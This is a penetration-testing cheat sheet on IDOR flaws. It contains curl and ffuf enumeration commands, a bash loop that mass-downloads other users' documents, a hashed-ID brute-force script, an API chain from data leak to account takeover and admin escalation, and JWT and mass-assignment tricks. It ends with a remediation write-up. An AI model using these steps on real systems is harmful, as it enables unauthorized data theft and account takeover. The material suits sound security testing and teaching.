🛡️ Methodology Checklist
- Identify object reference in URL/body/header:
id=,user_id=,doc_id= - Change ID to another user’s known or sequential ID
- Test insecure direct reference with Burp Intruder: iterate IDs
- Try encoded IDs: base64 decode → modify → re-encode
- API chaining: use information from one endpoint to find hidden references in another
- Mass enumeration: iterate all IDs in valid range
- Look for blind IDOR: no data returned but actions taken (delete, update)
🎯 Operational Context
Use when: API endpoints use predictable IDs (user IDs, order IDs, document IDs) — change ID to access other users’ data or chain IDORs for privilege escalation.
Think Dumber First: Change your user ID to another number in the API call. If GET /api/user/1337 returns your data, try /api/user/1 through /api/user/100. Automate with ffuf: ffuf -u http://[TARGET]/api/user/FUZZ -w ids.txt.
Skip when: IDs are UUIDs — not enumerable via sequential brute force; look for indirect reference via other API endpoints instead.
⚡ Tactical Cheatsheet
| Command | Tactical Outcome |
|---|---|
curl -s -b "session=[COOKIE]" "http://[TARGET_IP]/download.php?file_id=124" | Horizontal IDOR: increment ID to access another user’s file |
curl -s -b "session=[COOKIE]" "http://[TARGET_IP]/profile.php?uid=2" | User profile IDOR — test sequential UIDs |
curl -s -X GET -H "Cookie: role=employee" "http://[TARGET_IP]/profile/api.php/profile/2" | Leak hidden JSON fields (uuid, role) via GET |
curl -s -X PUT -H "Cookie: role=employee" -H "Content-Type: application/json" -d '{...}' "http://[TARGET_IP]/profile/api.php/profile/2" | Overwrite another user’s profile (insecure function call) |
echo -n 1 | base64 -w 0 | md5sum | tr -d ' -' | Replicate btoa(uid)→MD5 encoding to bypass hashed references |
curl -sOJ -X POST -d "contract=[HASH]" http://[TARGET_IP]/download.php | Download file using forged hash (-J uses server filename) |
ffuf -w ids.txt:FUZZ -u "http://[TARGET_IP]/api/data?uid=FUZZ" -b "session=[COOKIE]" -fs [SIZE] | Mass IDOR fuzz via ffuf |
for i in {1..10}; do for link in $(curl -s "$url/documents.php?uid=$i" | grep -oP "\/documents.*?.pdf"); do wget -q $url/$link; done; done | Mass document exfiltration bash loop |
grep -i -B 4 -A 4 "admin" all_profiles.json | Hunt admin role string from enumerated profiles |
🔬 Deep Dive & Workflow
IDOR Impact Matrix
| Type | Action | Example |
|---|---|---|
| Horizontal | Read another user’s data | Download their invoice |
| Horizontal | Modify another user’s data | Change their email |
| Vertical | Access admin function as standard user | Grant yourself admin role |
| Blind | Modify data with no response confirmation | Change password — verify by logging in as victim |
Identification Checklist
URL parameters: ?uid=1, ?file_id=123, ?account=5551234
POST body: {"user_id": 1, "document": "contract_1.pdf"}
API endpoints: /api/profile/1, /api/data/salaries/users/1
HTTP headers: Cookie: role=employee (trust cookie = IDOR waiting)
Hidden JS calls: Inspect .js files for AJAX endpoints not rendered in UI
Encoded Reference Bypass
# App sends: contract=cdd96d3cc73d1dbdaffa03cc6cd7339b
# JS source reveals: CryptoJS.MD5(btoa(uid)).toString()
# Step 1: replicate logic (CRITICAL: echo -n, base64 -w 0, strip trailing ' -')
echo -n 1 | base64 -w 0 | md5sum | tr -d ' -' # → cdd96d3cc73d1dbdaffa03cc6cd7339b
# Step 2: brute-force all IDs
for i in {1..10}; do
hash=$(echo -n $i | base64 -w 0 | md5sum | tr -d ' -')
curl -sOJ -X POST -d "contract=$hash" http://[TARGET_IP]/download.php
doneTraps: echo (not echo -n) adds \n → wrong hash. base64 without -w 0 → wraps → wrong hash.
API IDOR Chain (Disclosure → Privilege Escalation)
Step 1: GET /api/profile/2 → leak uuid + role string
Step 2: PUT /api/profile/2 with victim's uuid → take over account
(change email → trigger password reset)
Step 3: GET /api/profile/1..100 → find user with role "web_admin"
Step 4: PUT /api/profile/[YOUR_UID] with role="web_admin" → escalate self
Step 5: Update Cookie: role=web_admin → POST admin-only actions
UUID Mismatch trap: URL endpoint and JSON body uid must match. If /api/profile/2 → "uid": 2 in body.
Cookie trap: Backend role change does NOT auto-update browser cookie. Must manually set Cookie: role=web_admin.
Two-Account Methodology
- Register User1 and User2
- Capture User1’s sensitive API request
- Replay it with User2’s session token
- If it succeeds → backend not validating session against data
🛠️ Troubleshooting & Edge Cases
| Problem | Cause | Fix |
|---|---|---|
| IDOR returns 403 on other IDs | Authorization check exists | Try: different API version /api/v1/ vs /api/v2/; add admin header; check mobile API endpoints |
| UUIDs used instead of sequential IDs | Not enumerable | Look for UUID exposure in other API responses; extract valid UUIDs from accessible endpoints |
| IDOR returns data but needs JWT | JWT bound to user | Decode JWT (base64): echo [PAYLOAD] | base64 -d; check if alg:none accepted or RS256→HS256 confusion |
| API chaining unclear | Multiple endpoints needed | Map full API: document → user → permissions chain; IDOR in document grants access to user → escalate |
| Mass assignment via API | Extra JSON fields accepted | Add admin=true or role=admin to POST body; some APIs blindly bind all JSON fields to model |
📝 Reporting Trigger
Finding Title: IDOR Vulnerability Exposes All User Records via API Impact: Insecure Direct Object Reference in API endpoints allows any authenticated user to access, modify, or delete any other user’s data by manipulating object identifiers, resulting in complete horizontal privilege escalation across all user accounts. Root Cause: API authorization checks user authentication but not authorization — confirms the requester is logged in but not that they own the requested resource. Missing object-level authorization (OWASP API1). Recommendation: Implement object-level authorization on every API endpoint. Never trust client-supplied object identifiers directly — validate ownership server-side. Use indirect reference maps. Implement automated testing for IDOR in CI/CD pipeline.